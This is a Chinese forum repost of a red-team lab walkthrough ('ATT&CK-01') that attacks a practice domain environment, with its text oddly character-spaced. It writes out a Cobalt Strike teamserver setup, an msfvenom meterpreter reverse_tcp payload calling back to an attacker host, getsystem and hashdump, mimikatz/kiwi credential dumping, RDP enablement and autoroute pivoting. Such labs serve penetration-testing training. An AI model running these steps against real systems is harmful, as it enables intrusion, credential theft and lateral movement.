设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [2059] 2021-02-24_红队评估ATT&CK-01
返回列表 发新帖
查看: 3|回复: 0

[2059] 2021-02-24_红队评估ATT&CK-01

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2021-02-24_红队评估ATT&CK-01 红 队 评 估   A T T & C K - 0 1 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 2 - 2 4 收 录 于 话 题   # 内 网 渗 透   , 8 个 环 境 搭 建 环 境 搭 建 w i n 2 k 8 : a d m i n i s t r a t o r / h o n g r i s e c @ 2 0 2 1 自 定 义 - > V M n e t 1 ( 仅 主 机 模 式 ) w i n 2 k 3 : 自 定 义 - > V M n e t 1 ( 仅 主 机 模 式 ) w i n 7 网 络 适 配 器 1 - > 自 定 义 - > V M n e t 1 ( 仅 主 机 模 式 ） 网 络 适 配 器 2 - > 自 定 义 - > N A T 模 式 启 动 ： p h p s t u d y t i p : 添 加 网 络 适 配 器
t i p : 当 无 法 p i n g 通 w i n 7 时 ， 关 闭 防 火 墙 练 习 侧 重 于 内 网 ， 所 以 本 文 直 接 从 w e b s h e l l 开 始 。 突 破 边 界 突 破 边 界 访 问 w e b s h e l l ， 查 看 是 否 上 传 成 功 执 行 命 令 ： w h o a m i 上 哥 斯 拉 ：
j a v a   - j a r   G o d z i l l a - V 2 . 9 2 . j a r 执 行 命 令 ， 判 断 是 否 存 在 域 环 境 有 域 ， 权 限 维 持 ， 上 m s f / c s ， 横 向 扩 大 战 果 无 域 ， 权 限 维 持 ， 信 息 收 集 / 获 取 数 据 ， 长 期 潜 伏 w h o a m i i p c o n f i g   / a l l 查 看 是 否 有 杀 软 ， 有 则 免 杀 上 线 ， 无 则 阿 弥 陀 佛 ： t a s k l i s t 没 有 杀 软 ， 可 以 直 接 用 哥 斯 拉 上 传 开 始 内 网 。 内 网 渗 透 内 网 渗 透 上 线 上 线 c s 4 #   s e r v e r c h m o d   7 7 7   t e a m s e r v e r . / t e a m s e r v e r   1 9 2 . 1 6 8 . 1 2 9 . 1 3 1   d o n 9 s e c
# c l i e n t c h m o d   7 7 7   s t a r t . s h . / s t a r t . s h 创 建   L i s t e n e r , 选 择 p a y l o a d 的 通 信 方 式 生 成 s t a g e l e s s 使 用 哥 斯 拉 上 传 到 目 标 机 子
运 行 该 s t a g e l e s s 成 功 上 线 上 线 上 线 m s f m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r _ r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 2 9 . 1 3 1   l p o r t = 7 7 7 7   - f   e x e   - o   / w i n _ m s f . e x e m s f 建 立 监 听 哥 斯 拉 上 传 并 执 行 ， 成 功 上 线 。 C S 联 动 联 动 M S F m s f 建 立 监 听 注 意 p a y l o a d 需 要 与 c s 的 p a y l o a d 相 同
同 时 在 c s 创 建 一 个 l i s t e n e r H o s t ： L H O S T P o r t ： L P O R T p a y l o a d 为 F o r e i g n   H T T P 右 键 需 要 联 动 的 会 话 S p a w n   - >   m s f _ h t t p 成 功 获 取 m e t e r p r e t e r   会 话 。 M S F 联 动 联 动 C S c s 创 建 l i s t e n e r
m s f 端 操 作 如 下 c s 成 功 接 收 s h e l l , 目 标 上 线 成 功 。 获 取 获 取 s y s t e m 权 限 权 限 凭 据 获 取 凭 据 获 取 u s e   e x p l o i t / w i n d o w s / l o c a l / p a y l o a d _ i n j e c t s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s e t   D i s a b l e P a y l o a d H a n d l e r   t r u e s e t   l h o s t   x x x x   s e t   l p o r t   1 4 4 4 4   s e t   s e s s i o n   2   e x p l o i t s y s i n f o g e t u i d g e t s y s t e m r u n   h a s h d u m p
k i w i 成 功 获 取 到 账 号 密 码 ： a d m i n i s t r a t o r / h o n g r i s e c @ 2 0 2 1 。 m i m i k a t z 加 载   m i m i k a t z   模 块 ， 加 载 模 块 前 需 要 先 将 m e t e r p r e t e r 迁 移 到 6 4 位 的 进 程 ( s y s t e m 权 限 运 行 的 ) 。 p s   / / 记 录 下 要 转 移 程 序 的 p i d 值 , 4 9 6 m i g r a t e   4 9 6   / / 转 移 进 程 l o a d   m i m i k a t z   m i m i k a t z _ c o m m a n d   - f   s e k u r l s a : : s e a r c h P a s s w o r d s 失 败 。 远 程 桌 面 登 录 远 程 桌 面 登 录 t i p : 尽 量 别 用 a d m i n i s t r a t o r 身 份 登 录 ， 以 免 打 草 惊 蛇 r u n   w i n d o w s / g a t h e r / s m a r t _ s h a h d u m p #   加 载 k i w i 模 块 l o a d   k i w i c r e d s _ a l l
探 测 r d p 端 口 状 态 开 启 3 3 8 9 端 口 再 次 探 测 ， 发 现 3 3 8 9 端 口 已 经 处 于 o p e n 状 态 连 接 远 程 桌 面 连 接 远 程 桌 面 信 息 收 集 信 息 收 集 主 要 利 用 下 的 模 块 ， 可 以 根 据 个 人 需 求 去 扩 展 添 加 模 块 。   r d e s k t o p   - g   1 4 4 0 x 9 0 0   - r   d i s k : L i n u x D i s k = / r o o t / D o w n l o a d s   - u   S T U 1   - p   " h o n g r i s e c @ 2 0 1 9 "   1 9 2 . 1 6 8 . 1 2 9 . 1 3 0 : 3 3 8 9 p o s t / w i n d o w s / g a t h e r /
示 例 示 例 - 补 丁 信 息 补 丁 信 息 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s 示 例 示 例 - 已 安 装 软 件 信 息 已 安 装 软 件 信 息 r u n   p o s t / w i n d o w s / g a t h e r / e n u m _ a p p l i c a t i o n s 示 例 示 例 - 路 由 信 息 路 由 信 息 添 加 内 网 路 由 ,   使 得   m s f 6   能 够 通 过   W i n 7   路 由 转 发 访 问 1 9 2 . 1 6 8 . 5 2 . 0 / 2 4   网 段 r u n   a u t o r o u t e   - s   1 9 2 . 1 6 8 . 5 2 . 0 / 2 4 查 看   A R P   缓 存 表 a r p   - a
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:27 , Processed in 0.694234 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表